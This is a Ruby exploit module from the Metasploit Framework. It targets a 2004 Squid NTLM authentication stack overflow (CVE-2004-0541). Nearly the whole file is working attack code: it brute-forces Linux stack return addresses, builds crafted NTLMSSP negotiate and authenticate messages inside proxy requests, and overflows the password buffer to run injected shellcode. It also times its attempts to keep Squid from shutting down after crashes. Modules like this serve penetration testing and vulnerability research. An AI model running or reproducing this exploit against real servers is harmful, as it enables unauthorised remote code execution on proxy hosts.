##
# $Id: squid_ntlm_authenticate.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Brute
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Squid NTLM Authenticate Overflow',
'Description' => %q{
This is an exploit for Squid\'s NTLM authenticate overflow
(libntlmssp.c). Due to improper bounds checking in
ntlm_check_auth, it is possible to overflow the 'pass'
variable on the stack with user controlled data of a user
defined length. Props to iDEFENSE for the advisory.
},
'Author' => 'skape',
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2004-0541'],
[ 'OSVDB', '6791'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
[ 'BID', '10500'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 256,
'MinNops' => 16,
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
'PrependEncoder' => "\x83\xec\x7f",
},
'Targets' =>
[
[ 'Linux Bruteforce',
{
'Platform' => 'linux',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
'Step' => 0
}
},
],
],
'DisclosureDate' => 'Jun 8 2004',
'DefaultTarget' => 0))
register_advanced_options(
[
# We must wait 15 seconds between each attempt so as to prevent
# squid from exiting completely after 5 crashes.
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
], self.class)
end
def brute_exploit(addresses)
site = "http://" + rand_text_alpha(rand(128)) + ".com"
print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
connect
trasnmit_negotiate(site)
transmit_authenticate(site, addresses)
handler
disconnect
end
def trasnmit_negotiate(site)
negotiate =
"NTLMSSP\x00" + # NTLMSSP identifier
"\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE
"\x07\x00\xb2\x07" + # flags
"\x01\x00\x09\x00" + # workgroup len/max (1)
"\x01\x00\x00\x00" + # workgroup offset (1)
"\x01\x00\x03\x00" + # workstation len/max (1)
"\x01\x00\x00\x00" # workstation offset (1)
print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
req =
"GET #{site} HTTP/1.1\r\n" +
"Proxy-Connection: Keep-Alive\r\n" +
"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
"\r\n"
sock.put(req)
end
def transmit_authenticate(site, addresses)
overflow =
rand_text_alphanumeric(0x20) +
[addresses['Ret']].pack('V') +
[addresses['Valid']].pack('V') +
"\xff\x00\x00\x00"
shellcode = payload.encoded
pass_len = [overflow.length + shellcode.length].pack('v')
authenticate =
"NTLMSSP\x00" + # NTLMSSP identifier
"\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE
pass_len + pass_len + # lanman response len/max
"\x38\x00\x00\x00" + # lanman response offset (56)
"\x01\x00\x01\x00" + # nt response len/max (1)
"\x01\x00\x00\x00" + # nt response offset (1)
"\x01\x00\x01\x00" + # domain name len/max (1)
"\x01\x00\x00\x00" + # domain name offset (1)
"\x01\x00\x01\x00" + # user name (1)
"\x01\x00\x00\x00" + # user name offset (1)
"\x00\x00\x00\x00" + # session key
"\x8b\x00\x00\x00" + # session key
"\x06\x82\x00\x02" + # flags
overflow + shellcode
print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
req =
"GET #{site} HTTP/1.1\r\n" +
"Proxy-Connection: Keep-Alive\r\n" +
"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
"\r\n"
sock.put(req)
end
end